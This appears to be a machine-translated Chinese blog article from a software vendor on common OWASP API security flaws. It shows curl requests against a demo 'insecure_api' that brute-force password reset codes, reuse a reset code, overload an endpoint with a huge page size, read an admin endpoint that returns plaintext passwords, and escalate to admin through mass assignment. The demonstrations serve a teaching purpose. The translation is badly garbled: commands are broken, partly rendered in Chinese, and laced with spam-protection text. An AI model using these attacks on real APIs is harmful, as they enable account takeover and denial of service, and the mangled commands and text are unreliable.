API开发中的6个最常见的安全问题以及如何解决它们

API不会限制输入重置代码的尝试次数，这就是为什么它特别容易获得注册的用户帐户的新密码此电子邮件地址受到垃圾邮件程序的保护。您需要启用Javascript来查看它。．为了猜测重置代码，我们只需要编写一个脚本，尝试使用从0000到9999的所有代码:

       

        
curl--location--request POST'http://insecure_api:8080/api/reset_password/0000“\--header”接受：*/*“\--header”内容类型：application/json“\--data raw”{“email”：此电子邮件地址受到垃圾邮件程序的保护。您需要启用Javascript来查看它。“}''curl --location --request post'http：// insecure_api：8080 / api / reset_password / 0001'\  -  header'accept：* / *' -  header'content-type：application / json'\  -  Data-Raw'{“电子邮件”：“此电子邮件地址受到垃圾邮件程序的保护。您需要启用Javascript来查看它。}' .... ....curl——location——request POST 'http://insecure_api:8080/api/reset_password/9999' \——header 'accept: */*' \——header 'Content-Type: application/json' \——data-raw '{"email": ": "此电子邮件地址受到垃圾邮件程序的保护。您需要启用Javascript来查看它。" }'
       

当脚本输入正确的重置代码时，我们将得到一个带有新密码的响应:

       

        
{“密码”：“ICtim2aev9Uf2QzA”}
       

通过利用此对象级授权漏洞，我们可以获得拥有此电子邮件的用户的登录名、登录到其帐户并更改电子邮件。

在我们的示例API中，存在一个安全威胁，允许我们使用相同的重置代码多次重置用户密码。我们可以通过代码1111传递此请求，并随时更改用户密码：

       

        
curl——location——request POST 'http://insecure_api:8080/api/reset_password/1111' \——header 'accept: */*' \——header 'Content-Type: application/json' \——data-raw '{"email": ": "此电子邮件地址受到垃圾邮件程序的保护。您需要启用Javascript来查看它。" }'
       

过度数据暴露

当开发人员实施用于API和客户端之间的通信的通用机制时，可能会出现此API安全漏洞。在这种情况下，API可以向客户端发送比它需要的数据更多，并且客户端必须过滤数据并从用户隐藏无关信息。攻击者可以从中嗅探此流量并提取敏感信息：身份验证令牌，帐号，电子邮件地址等

为了演示API中的这个漏洞，我们将从GET /任务端点请求任务的ID和关于用户的完整信息。这个端点应该只返回任务ID，但是让我们看看发生了什么。

这是我们的要求：

       

        
curl--location--request GET'http://insecure_api:8080/api/task/1“\--header”accept://*“\--header”Content Type:application/json“\--header”Authorization:Bearer eyj0exaiijkv1qiljhbgcioijiuzi1nij9.eyjlehaioje2m3mzu4mtasimlhdci6mtyxmzy0otqxmcwic3viijoyfq.dkzhupdd1vgai5jszjvfffrdfgs9wvrt7xgvcwvcw61xvh0”数据原始“
       

下面是GET/task端点的响应方式：

       

        
{"id": 1， "title": "user1的任务"，"description": "重要任务要做"，"status": "Open"， "assignee": 2， "username": "user1"， "email": "此电子邮件地址受到垃圾邮件程序的保护。您需要启用Javascript来查看它。，“任务”：1，“名字”：“用户”，“姓氏”：“API”，“照片”：null，“用户类型”：“用户”}
       

如果攻击者拦截了这个响应，他们将获得API中关于用户的所有信息，即使这些信息在API的客户端中不可用。

缺乏资源和速度限制

API可以使用CPU、RAM和磁盘资源来处理请求。开发人员通常根据应用程序的业务逻辑选择为API分配的资源。如果攻击者设法绕过业务逻辑限制，从而造成API必须处理比其设计更多的请求的情况，则应用程序将耗尽资源并开始出现故障或变得不可用。

在我们的API中，GET/tasks包含此漏洞。此端点支持分页-将RAM中的数据存储在硬盘驱动器上。攻击者可以滥用此功能使API过载。

假设应用程序在一个页面上显示10个任务。显示任务的请求如下所示：

       

        
curl --location --request get'http：// insecure_api：8080 / api /任务？页面= 1＆size = 10'\  -  header'accept：* / *' -  header'内容类型：application / json'\  -  header'授权：持票人exj0exaioijkv1qilcjhbgcijiuzi1nij9.eyjlehaioje2mtm3mzu4mtasimlhdci6mtyxmzy0tqxmcwic3viijoyfq.dkzhupdd1vai5jszjvfrdfgs9wvrt7xgvvcw61xvh0'\ --data-raw''
       

攻击者可以使用放大的大小参数发送自己的请求以过载API：

       

        
卷曲 - 位置 - 重新查询GET'http：// insecure_api：8080 / api /任务？页面= 1和size = 100000'\  -  header'accept：* / *' -  header'内容类型：应用程序/ json'\  -  header'授权：持票人exj0exaioijkv1qilcjhbgcijiuzi1nij9.eyjlehaioje2mtm3mzu4mtasimlhdci6mtyxmzy0tqxmcwic3viijoyfq.dkzhupdd1vai5jszjvfrdfgs9wvrt7xgvvcw61xvh0'\ --data-raw''
       

如果数据库中分配给请求任务的用户的任务过多，API将过载，从而导致拒绝服务。

破功能级授权

错误配置的授权机制允许攻击者获得对敏感资源的未经授权的访问，并窃取、编辑或创建新的用户帐户。为了检测此漏洞，攻击者发送请求以访问他们不应该能够访问的对象。

我们将GET/admin/users端点添加到API中以演示此漏洞。此端点返回应用程序中注册的所有用户的数据，而不检查请求数据的用户（用户或管理员）。以下是此类请求的示例：

       

        
curl--location--request GET'http://insecure_api:8080/api/admin/users“\--header”accept://*“\--header”Content Type:application/json“\--header”Authorization:Bearer eyj0exaiijkv1qiljhbgcioijiuzi1nij9.eyjlehaioje2m3mzu4mtasimlhdci6mtyxmzy0otqxmcwic3viijoyfq.dkzhupdd1vgai5jszjvfffrdfgs9wvrt7xgvcwvcw61xvh0”数据原始“
       

GET/admin/users端点用以下代码响应：

       

        
{“users”：[{“id”：1，“username”：“user1”，“password”：“password”，“email”：”此电子邮件地址受到垃圾邮件程序的保护。您需要启用Javascript来查看它。，“任务”：1，“位置”：null，“名字”：“用户”，“姓氏”：“API”，“照片”：null，“用户类型”：“用户”}，{“id”：2，“用户名”：“用户2”，“密码”：“密码”，“电子邮件”：此电子邮件地址受到垃圾邮件程序的保护。您需要启用Javascript来查看它。， "tasks": 0， "position": null， "first_name": null， "last_name": null， "photo": null， "user_type": "user"}]}
       

质量分配

一些开发人员设计API，以便在将应用程序的输入绑定到代码和内部对象时自动分配对象属性。许多框架提供大量分配函数，以帮助加快开发速度。

这种方法对开发人员来说很方便，但也允许用户更改他们不应该访问的对象属性。此外，攻击者可以尝试猜测对象属性，或者根据他们的请求用新属性替换它们。如果API易受此类请求的攻击，攻击者可以获取有关敏感对象的信息，阅读文档n、 或修改数据对象。

在我们的API中，用户对象存在此漏洞。它有一个用户类型参数，有两个可能的值：用户和管理员. 当人们自己在我们的应用程序中注册时，他们的帐户被指定为用户默认值。但是，我们的API允许用户通过PUT / USER请求更改此值。通过这种方式，攻击者可以获得管理员权限。

要利用此漏洞，我们必须使用此请求注册用户：

       

        
curl--location--request POST'http://insecure_api:8080/api/sign_up“\--header”接受：*/*“\--header”内容类型：application/json“\--data raw”{“email”：此电子邮件地址受到垃圾邮件程序的保护。您需要启用Javascript来查看它。“，”用户名“：”用户4“，”密码“：”密码“}”
       

之后，我们将获得用户帐户详细信息的回复：

       

        
{“id”：4，“用户名”：“user4”，“电子邮件”：此电子邮件地址受到垃圾邮件程序的保护。您需要启用Javascript来查看它。，“任务”：0，“用户类型”：“用户”}
       

然后，我们需要将“用户类型”字段更改为“管理员”：

       

        
curl——location——request PUT 'http://insecure_api:8080/api/user/4' \——header 'accept: */*' \——header 'Content-Type: application/json' \——header 'Authorization:承载者eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJleHAiOjE2MTM5OTE1MTQsImlhdCI6MTYxMzkwNTExNCwic3ViIjo1fQ. txtgdgta35xhxlyct3e9lkki1qrmiklqmgvzfnfiurwyw ' \——data-raw '{"username": "user4"， "first_name": "User"， "last_name": "API"， "email": " "此电子邮件地址受到垃圾邮件程序的保护。您需要启用Javascript来查看它。”、“位置”:“User4_position”、“user_type”:“admin”}
       

API将响应更新的用户数据:

       

        
{“id”：4，“用户名”：“user4”，“电子邮件”：此电子邮件地址受到垃圾邮件程序的保护。您需要启用Javascript来查看它。”、“任务”:0,”first_name”:“用户”、“last_name”:“API”、“照片”:空,“user_type”:“admin”}
       

这样，user4将获得管理员访问权限。

结论

缓解来自OWASP API安全项目的安全问题对于确保应用程序的保护至关重要。为了确定测试过程的优先级并节省一些时间，您可以专注于查找和修复我们在本文中讨论的最广泛的漏洞。

在Aperiorit，我们发展我们的api时刻牢记网络安全测试它们在推出之前。С按以下表格与我们联系，以便我们可以开始改进您的项目！